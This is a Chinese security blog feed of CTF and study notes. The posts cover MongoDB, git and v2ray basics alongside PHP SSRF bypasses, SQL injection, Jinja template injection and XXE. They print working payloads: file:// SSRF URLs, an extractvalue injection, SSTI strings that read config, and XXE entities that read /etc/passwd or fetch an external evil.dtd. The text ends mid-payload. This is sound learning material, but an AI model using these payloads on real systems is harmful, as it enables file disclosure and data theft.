{ &quot;_id&quot; : ObjectId(&quot;5d53beab74357af54ea6fb04&quot;), &quot;username&quot; : &quot;xxxppp&quot; }
{ &quot;_id&quot; : ObjectId(&quot;5d53c8ae74357af54ea6fb05&quot;), &quot;username&quot; : &quot;pxy&quot;, &quot;password&quot; : 123 }
{ &quot;_id&quot; : ObjectId(&quot;5d5642185a9caa8f023df426&quot;), &quot;username&quot; : &quot;admin&quot;, &quot;password&quot; : 123 }
{ &quot;_id&quot; : ObjectId(&quot;5d564c035a9caa8f023df427&quot;), &quot;username&quot; : &quot;xxx&quot;, &quot;password&quot; : 11111 }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;MongoDb聚合&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;MongoDB中聚合(aggregate)主要用于处理数据(诸如统计平均值,求和等)，并返回计算后的数据结果。有点类似sql语句中的 count(*)。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;参考菜鸟教程中的栗子：&lt;br /&gt;
集合中的数据如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
   _id: ObjectId(7df78ad8902c)
   title: &apos;MongoDB Overview&apos;, 
   description: &apos;MongoDB is no sql database&apos;,
   by_user: &apos;runoob.com&apos;,
   url: &apos;http://www.runoob.com&apos;,
   tags: [&apos;mongodb&apos;, &apos;database&apos;, &apos;NoSQL&apos;],
   likes: 100
},
{
   _id: ObjectId(7df78ad8902d)
   title: &apos;NoSQL Overview&apos;, 
   description: &apos;No sql database is very fast&apos;,
   by_user: &apos;runoob.com&apos;,
   url: &apos;http://www.runoob.com&apos;,
   tags: [&apos;mongodb&apos;, &apos;database&apos;, &apos;NoSQL&apos;],
   likes: 10
},
{
   _id: ObjectId(7df78ad8902e)
   title: &apos;Neo4j Overview&apos;, 
   description: &apos;Neo4j is no sql database&apos;,
   by_user: &apos;Neo4j&apos;,
   url: &apos;http://www.neo4j.com&apos;,
   tags: [&apos;neo4j&apos;, &apos;database&apos;, &apos;NoSQL&apos;],
   likes: 750
},
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用aggregate语句：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; db.mycol.aggregate([{$group : {_id : &quot;$by_user&quot;, num_tutorial : {$sum : 1}}}])
{
   &quot;result&quot; : [
      {
         &quot;_id&quot; : &quot;runoob.com&quot;,
         &quot;num_tutorial&quot; : 2
      },
      {
         &quot;_id&quot; : &quot;Neo4j&quot;,
         &quot;num_tutorial&quot; : 1
      }
   ],
   &quot;ok&quot; : 1
}
&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它类似于：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;select by_user, count(*) from mycol group by by_user&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>new Bugku</title><link>https://rayepeng.net/posts/new-bugku/</link><guid isPermaLink="true">https://rayepeng.net/posts/new-bugku/</guid><pubDate>Fri, 16 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;web26&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php 
$num=$_GET[&apos;num&apos;]; 
$str=$_GET[&apos;str&apos;]; 
show_source(__FILE__); 
if (isset($num)&amp;amp;&amp;amp;isset($str)) { 
    if (preg_match(&apos;/\d+/sD&apos;,$str)) { 
        echo &quot;vagetable hhhh&quot;; 
        exit(); 
    } 
    $result=is_numeric($num) and is_numeric($str); 
    if ($result) { 
        include &quot;flag.php&quot;; 
        echo &quot;$flag&quot;; 
    } 
    else{ 
        echo &quot;vagetablessssss&quot;; 
    } 
} 
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>复习git</title><link>https://rayepeng.net/posts/%E5%A4%8D%E4%B9%A0git/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%A4%8D%E4%B9%A0git/</guid><pubDate>Fri, 16 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;最近发现自己还不是很懂git，于是好好学习一下&lt;/p&gt;
&lt;h2&gt;git标签管理&lt;/h2&gt;
&lt;p&gt;git有一个打标签的功能，这个功能可以理解成虚拟机的快照，&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Git的标签虽然是版本库的快照，但其实它就是指向某个commit的指针（跟分支很像对不对？但是分支可以移动，标签不能移动），所以，创建和删除标签都是瞬间完成的。 —-摘自廖雪峰&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;命令git tag 用于新建一个标签，默认为HEAD，也可以指定一个commit id；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;命令git tag -a -m “blablabla…”可以指定标签信息；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;命令git tag可以查看所有标签。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;命令git push origin 可以推送一个本地标签；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;命令git push origin —tags可以推送全部未推送过的本地标签；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;命令git tag -d 可以删除一个本地标签；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;命令git push origin :refs/tags/可以删除一个远程标签。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;GitHack的原理&lt;/h2&gt;
&lt;p&gt;如果将.git文件夹部署到线上环境，将引起git源码泄露&lt;/p&gt;
&lt;p&gt;工作原理：&lt;/p&gt;
&lt;p&gt;1、解析.git/index文件，找到工程中所有的： ( 文件名，文件sha1 )&lt;br /&gt;
2、去.git/objects/ 文件夹下下载对应的文件&lt;br /&gt;
3、zlib解压文件，按原始的目录结构写入源代码&lt;/p&gt;
&lt;h2&gt;git的原理&lt;/h2&gt;
&lt;p&gt;git cat-file 命令&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/16/ALhQ2poTiesaFZz.png&quot; alt=&quot;git cat-file&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.freebuf.com/sectool/66096.html&quot;&gt;GitHack：一个git泄露利用脚本&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.bbsmax.com/A/o75NM9mKJW/&quot;&gt;git内部原理&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html&quot;&gt;XDCTF2015代码审计全解&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>记录php代码审计</title><link>https://rayepeng.net/posts/%E8%AE%B0%E5%BD%95php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E8%AE%B0%E5%BD%95php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/</guid><pubDate>Fri, 16 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;怎么过去呢&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;if(isset($_POST[&apos;url&apos;]) &amp;amp;&amp;amp; parse_url($_POST[&apos;url&apos;])[&apos;host&apos;]==&apos;www.baidu.com&apos;)
{
    var_dump(parse_url($_POST[&apos;url&apos;])[&apos;host&apos;]);
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $_POST[&apos;url&apos;]);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $content = curl_exec($curl);
    echo $content;
    curl_close($curl);
    $filename=&apos;download/&apos;.rand().&apos;;img1.jpg&apos;;
    file_put_contents($filename,$content);
    echo $_POST[&apos;url&apos;];
    $img=&quot;&amp;lt;img src=\&quot;&quot;.$filename.&quot;\&quot;/&amp;gt;&quot;;
    echo $img;
}
else
{
    echo &quot;you need post url: http://www.ichunqiu.com&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里主要还是利用&lt;code&gt;parse_url&lt;/code&gt;这个函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/ssrf5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其实这里利用的是一个&lt;code&gt;parse_url&lt;/code&gt;和&lt;code&gt;libcurl&lt;/code&gt;之间的差异&lt;/p&gt;
&lt;p&gt;匹配规则：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php parse_url：
host: 匹配最后一个@后面符合格式的host

libcurl：
host：匹配第一个@后面符合格式的host
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;比如这个URL&lt;br /&gt;
&lt;code&gt;http://u:p@a.com:80@b.com/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;parse_url&lt;/code&gt;解析结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;schema: http 
host: b.com
user: u
pass: p@a.com:80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;libcurl解析结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;schema: http
host: a.com
user: u
pass: p
port: 80
后面的@b.com/会被忽略掉
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样我么就可以构造payload:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;url=file://@127.0.0.1:80@www.baidu.com/./..//var/www/html/flag.php&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;parse_url&lt;/code&gt;解析出&lt;code&gt;www.baidu.com&lt;/code&gt;绕过if&lt;br /&gt;
然后&lt;code&gt;curl&lt;/code&gt;解析file协议&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/afanti/p/9928371.html&quot;&gt;ssrf绕过记录&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize(&quot;&gt;Some trick in ssrf and unserialize()&lt;/a&gt;/#trick2-libcurl-and-parse-url)&lt;/p&gt;
&lt;h2&gt;parse_url函数的问题&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
error_reporting(0);
$_GET=Add_S($_GET);
$_POST=Add_S($_POST);
$_COOKIE=Add_S($_COOKIE);
$_REQUEST=Add_S($_REQUEST);
function Add_S($array)
{
foreach($array as $key=&amp;gt;$value){
            if(!is_array($value)){
                    $check= preg_match(&apos;/regexp|and|like|\&quot;|%|insert|update|delete|union|into|load_file|outfile|\/\*/i&apos;, $value);
                    if($check)
                            {
                            exit(&quot;Hacker!&quot;);
                    }
            }else{
                    $array[$key]=Add_S($array[$key]);
            }
    }
return $array;
}

function Measurement_url()
{
    $url=parse_url($_SERVER[&apos;REQUEST_URI&apos;]);
    parse_str($url[&apos;query&apos;],$query);
    $Keyword=array(&quot;from&quot;,&quot;select&quot;,&quot;like&quot;,&quot;or&quot;);
    foreach($query as $key)
    {
    foreach($Keyword as $value)
    {
        if(preg_match(&quot;/&quot;.$value.&quot;/&quot;,strtolower($key)))
        {
            die(&quot;fuck u!&quot;);
        }
    }
}
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在&lt;code&gt;Add_S&lt;/code&gt;函数中把一些关键字都给过滤了，同时还有一部分关键字是在&lt;code&gt;Measurement_url&lt;/code&gt;函数中过滤的，但是这个函数中有一个&lt;code&gt;parse_url&lt;/code&gt;函数&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://127.0.0.1///info/parseurl.php?sql=select&lt;/code&gt; 这种形式的URL经过&lt;code&gt;parse_url&lt;/code&gt;后会返回false。。&lt;/p&gt;
&lt;p&gt;于是可以绕过的payload如下&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://118.126.113.78///web1/?id=1&apos; ^ 1=extractvalue(1,concat(0x3a,(select password from sql_inject1 limit 3,1),0x3a))--+&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;具体&lt;code&gt;parse_url&lt;/code&gt;漏洞的分析可以参考一叶飘零师傅的&lt;a href=&quot;https://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/&quot;&gt;文章&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然而我在本地测试的时候：&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php2.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
并没有成功，php的版本：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php3.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
这就很奇怪了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php 
$url = &quot;http://localhost///web/trick1/parse.php?sql=select&quot;;

$parse_url_result = parse_url($url);

print_r($parse_url_result);

 ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;一道入群题&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php 
highlight_file(__FILE__);
function check_inner_ip($url) 
{ 
    $match_result=preg_match(&apos;/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/&apos;,$url); 
    if (!$match_result) 
    { 
        die(&apos;url fomat error&apos;); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die(&apos;url fomat error&apos;); 
        return false; 
    } 
    $hostname=$url_parse[&apos;host&apos;]; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long(&apos;127.0.0.0&apos;)&amp;gt;&amp;gt;24 == $int_ip&amp;gt;&amp;gt;24 || ip2long(&apos;10.0.0.0&apos;)&amp;gt;&amp;gt;24 == $int_ip&amp;gt;&amp;gt;24 || ip2long(&apos;172.16.0.0&apos;)&amp;gt;&amp;gt;20 == $int_ip&amp;gt;&amp;gt;20 || ip2long(&apos;192.168.0.0&apos;)&amp;gt;&amp;gt;16 == $int_ip&amp;gt;&amp;gt;16; 
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.&apos; is inner ip&apos;; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info[&apos;redirect_url&apos;]) 
        { 
            safe_request_url($result_info[&apos;redirect_url&apos;]); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 

$url = $_GET[&apos;url&apos;]; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很明显这是一道ssrf的题目，白名单，只能用如下协议&lt;code&gt;http|https|gopher|dict&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;两个payload均可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload1: ?url=http://127.0.0.1./flag.php
payload2: ?url=http://@127.0.0.1:80@baidu.com/flag.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/ssrf6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后开始爆破内网的ip和端口&lt;/p&gt;
&lt;p&gt;居然不记得怎么用Burp同时爆破两个字段了，查了一下 &lt;a href=&quot;https://bbs.ichunqiu.com/thread-17395-1-1.html&quot;&gt;https://bbs.ichunqiu.com/thread-17395-1-1.html&lt;/a&gt;&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/ssrf7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以得到172.11.243.81:8080和172.11.243.218:3306，分别为一个flask服务和mysql服务。&lt;/p&gt;
&lt;p&gt;通过http访问内网的flask&lt;/p&gt;
&lt;p&gt;得到源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

app = flask.Flask(__name__)
app.config[&apos;HINT&apos;] = os.environ.pop(&apos;HINT&apos;)
@app.route(&apos;/&apos;)
def index():
    return open(__file__).read()
@app.route(&apos;/yulige/&amp;lt;path:yulige&amp;gt;&apos;)
def yulige(yulige):
    def safe_jinja(s):
        s = s.replace(&apos;(&apos;, &apos;&apos;).replace(&apos;)&apos;, &apos;&apos;)
        blacklist = [&apos;config&apos;, &apos;self&apos;]
        return &apos;&apos;.join([&apos;{{% set {}=None%}}&apos;.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(yulige))
if __name__ == &apos;__main__&apos;:
    app.run(&quot;0.0.0.0&quot;,port=8080)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;模板注入得到HINT&lt;/p&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#payload:{{url_for.__globals__[%27current_app%27].config[%27HINT%27]}}
#payload:{{get_flashed_messages.__globals__[%27current_app%27].config[%27HINT%27]}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/ssrf8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;string(29) “mysql_user_is_yuligeeee123321”&lt;/p&gt;
</content:encoded></item><item><title>v2ray学习</title><link>https://rayepeng.net/posts/v2ray%E5%AD%A6%E4%B9%A0/</link><guid isPermaLink="true">https://rayepeng.net/posts/v2ray%E5%AD%A6%E4%B9%A0/</guid><pubDate>Thu, 15 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;V2Ray 使用 inbound(传入) 和 outbound(传出) 的结构，这样的结构非常清晰地体现了数据包的流动方向，同时也使得 V2Ray 功能强大复杂的同时而不混乱，清晰明了。形象地说，我们可以把 V2Ray 当作一个盒子，这个盒子有入口和出口(即 inbound 和 outbound)，我们将数据包通过某个入口放进这个盒子里，然后这个盒子以某种机制（这个机制其实就是路由，后面会讲到）决定这个数据包从哪个出口吐出来。以这样的角度理解的话，V2Ray 做客户端，则 inbound 接收来自浏览器数据，由 outbound 发出去(通常是发到 V2Ray 服务器)；V2Ray 做服务器，则 inbound 接收来自 V2Ray 客户端的数据，由 outbound 发出去(通常是如 Google 等想要访问的目标网站)。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;v2ray的工作原理：&lt;/p&gt;
&lt;p&gt;客户端：&lt;/p&gt;
&lt;p&gt;假设客户端配置inbounds，post为1080，协议是socks。首先需要在浏览器中设置代理sock host:127.0.0.1 port 1080&lt;/p&gt;
&lt;p&gt;如果访问google.com 那么浏览器的数据包会发送到本机的1080端口，这个时候数据包被本机的v2ray客户端收到&lt;/p&gt;
&lt;p&gt;再看outbounds。协议是vmess，v2ray客户端接收到数据包之后打包成vmess的格式并且用预设的id加密，然后发送到服务器地址xxxx，端口pppp&lt;/p&gt;
&lt;p&gt;所以如下的配置大概就能理解了：&lt;/p&gt;
&lt;p&gt;客户端：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
{
  &quot;inbounds&quot;: [
    {
      &quot;port&quot;: 1080, // 监听端口
      &quot;protocol&quot;: &quot;socks&quot;, // 入口协议为 SOCKS 5
      &quot;sniffing&quot;: {
        &quot;enabled&quot;: true,
        &quot;destOverride&quot;: [&quot;http&quot;, &quot;tls&quot;]
      },
      &quot;settings&quot;: {
        &quot;auth&quot;: &quot;noauth&quot;  //socks的认证设置，noauth 代表不认证，由于 socks 通常在客户端使用，所以这里不认证
      }
    }
  ],
  &quot;outbounds&quot;: [
    {
      &quot;protocol&quot;: &quot;vmess&quot;, // 出口协议
      &quot;settings&quot;: {
        &quot;vnext&quot;: [
          {
            &quot;address&quot;: &quot;serveraddr.com&quot;, // 服务器地址，请修改为你自己的服务器 IP 或域名
            &quot;port&quot;: 16823,  // 服务器端口
            &quot;users&quot;: [
              {
                &quot;id&quot;: &quot;b831381d-6324-4d53-ad4f-8cda48b30811&quot;,  // 用户 ID，必须与服务器端配置相同
                &quot;alterId&quot;: 64 // 此处的值也应当与服务器相同
              }
            ]
          }
        ]
      }
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;浏览器—-&amp;gt;本机的v2ray—-&amp;gt;vps监听的端口&lt;/p&gt;
&lt;p&gt;服务端配置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;inbounds&quot;: [
    {
      &quot;port&quot;: 16823, // 服务器监听端口
      &quot;protocol&quot;: &quot;vmess&quot;,    // 主传入协议
      &quot;settings&quot;: {
        &quot;clients&quot;: [
          {
            &quot;id&quot;: &quot;b831381d-6324-4d53-ad4f-8cda48b30811&quot;,  // 用户 ID，客户端与服务器必须相同
            &quot;alterId&quot;: 64
          }
        ]
      }
    }
  ],
  &quot;outbounds&quot;: [
    {
      &quot;protocol&quot;: &quot;freedom&quot;,  // 主传出协议
      &quot;settings&quot;: {}
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在客户端配置的 inbounds 中，有一个 “sniffing” 字段，V2Ray 手册解释为“流量探测，根据指定的流量类型，重置所请求的目标”，这话不太好理解，简单说这东西就是从网络流量中识别出域名。这个 sniffing 有两个用处：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;解决 DNS 污染；&lt;/li&gt;
&lt;li&gt;对于 IP 流量可以应用后文提到的域名路由规则；&lt;/li&gt;
&lt;li&gt;识别 BT 协议，根据自己的需要拦截或者直连 BT 流量&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;接着看服务器，服务器配置的 id 是 b831381d-6324-4d53-ad4f-8cda48b30811，所以 V2Ray 服务器接收到客户端发来的数据包时就会尝试用 b831381d-6324-4d53-ad4f-8cda48b30811 解密，如果解密成功再看一下时间对不对，对的话就把数据包发到 outbound 去，outbound.protocol 是 freedom（freedom 的中文意思是自由，在这里姑且将它理解成直连吧），数据包就直接发到 google.com 了。&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://guide.v2fly.org/basics/vmess.html#%E9%85%8D%E7%BD%AE%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87&quot;&gt;v2ray配置指南&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>xxe学习</title><link>https://rayepeng.net/posts/xxe%E5%AD%A6%E4%B9%A0/</link><guid isPermaLink="true">https://rayepeng.net/posts/xxe%E5%AD%A6%E4%B9%A0/</guid><pubDate>Thu, 15 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;今天做题的时候遇到了一个xxe相关的题目，难度不大，现场学习的xxe，事后来总结一下：&lt;/p&gt;
&lt;p&gt;原题的名字是who are you，进去之后有一个输入框，输入什么就会回显什么，首先试了一下xss，只出现了alert(1)&lt;/p&gt;
&lt;p&gt;查看页面的源代码发现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function play() {
     return false;
 }
 function func() {
     // document.getElementById().value
     var xml = &apos;&apos; +
         &apos;&amp;lt;\?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;\?&amp;gt;&apos; +
         &apos;&amp;lt;feedback&amp;gt;&apos; +
         &apos;&amp;lt;author&amp;gt;&apos; + document.getElementById(&apos;name&apos;).value+ &apos;&amp;lt;/author&amp;gt;&apos; +
         &apos;&amp;lt;/feedback&amp;gt;&apos;;
     console.log(xml);
     var xmlhttp = new XMLHttpRequest();
     xmlhttp.onreadystatechange = function () {
         if (xmlhttp.readyState == 4) {
             // console.log(xmlhttp.readyState);
             // console.log(xmlhttp.responseText);
             var res = xmlhttp.responseText;
             document.getElementById(&apos;title&apos;).textContent = res
         }
     };
     xmlhttp.open(&quot;POST&quot;, &quot;index.php&quot;, true);
     xmlhttp.send(xml);
     return false;
 };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;显然xml数据是拼接的，直接对&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;进行实体编码就能够xss，然而这题的考点并不是这个。&lt;/p&gt;
&lt;p&gt;xml相关的自然是xxe，也就是XML 外部实体注入&lt;/p&gt;
&lt;p&gt;这需要有一点DTD的知识：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。&lt;br /&gt;
DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;DTD的引入是为了规范XML的，从一个栗子可以看：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/xxe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;DOCTYPE声明了XML由哪些标签，因为XML的标签不同于HTML，是可以自定义的。&lt;/p&gt;
&lt;p&gt;DTD可以在XML文档内部声明，也可以外部引用,同时实体也可以内部声明或者外部引用&lt;/p&gt;
&lt;p&gt;&lt;em&gt;内部实体声明D&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DTD 实例:

&amp;lt;!ENTITY writer &quot;Donald Duck.&quot;&amp;gt;
&amp;lt;!ENTITY copyright &quot;Copyright runoob.com&quot;&amp;gt;

XML 实例：

&amp;lt;author&amp;gt;&amp;amp;writer;&amp;amp;copyright;&amp;lt;/author&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;外部实体声明&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DTD 实例:

&amp;lt;!ENTITY writer SYSTEM &quot;http://www.runoob.com/entities.dtd&quot;&amp;gt;
&amp;lt;!ENTITY copyright SYSTEM &quot;http://www.runoob.com/entities.dtd&quot;&amp;gt;

XML example:

&amp;lt;author&amp;gt;&amp;amp;writer;&amp;amp;copyright;&amp;lt;/author&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最常见的引入外部实体就是通过file协议读取文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; ?&amp;gt;
&amp;lt;!DOCTYPE a [
    &amp;lt;!ENTITY b SYSTEM &quot;file:///etc/passwd&quot;&amp;gt;
]&amp;gt;
&amp;lt;c&amp;gt;&amp;amp;b;&amp;lt;/c&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;另一种payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE a[
    &amp;lt;!ENTITY % d SYSTEM &quot;http://vps/evil.dtd&quot;&amp;gt;
    %d;
]&amp;gt;
&amp;lt;c&amp;gt;&amp;amp;b;&amp;lt;/c&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以在自己的VPS上构造&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!ENTITY b SYSTEM &quot;file:///etc/passwd&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;!DOCTYPE a SYSTEM &quot;http://vps//evil.dtd&quot;&amp;gt;
&amp;lt;c&amp;gt;&amp;amp;b;&amp;lt;/c&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;vps上的evil.dtd内容：&lt;br /&gt;
&lt;code&gt;&amp;lt;!ENTITY b SYSTEM &quot;file:///etc/passwd&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;不同的程序支持的协议也有区别，比如今天遇到的题目就是支持php伪协议：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/xxe0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ok到这里就差不多了。&lt;/p&gt;
&lt;p&gt;献上拿到题目的payload：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;!ENTITY xxe SYSTEM &quot;php://filter/read=convert.base64-encode/resource=index.php&quot; &amp;gt;]&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;其实就是通过php伪协议去读取文件，flag就在index.php里面&lt;/p&gt;
&lt;p&gt;接下来看一道Google ctf2019的题目：&lt;/p&gt;
&lt;p&gt;直奔主题好了，这个题目抓包发现传送的是json格式的数据，但是也可以修改为XML格式的数据，很神奇吧：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/xxe1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后这个题目涉及到一个使用本地的dtd来盲注xxe的姿势：&lt;/p&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE message[
	&amp;lt;!ENTITY % local_dtd SYSTEM &quot;file:///usr/share/yelp/dtd/docbookx.dtd&quot;&amp;gt;
	&amp;lt;!ENTITY % ISOamso &apos;
	&amp;lt;!ENTITY &amp;amp;#x25; file SYSTEM &quot;file:///etc/passed&quot;&amp;gt;
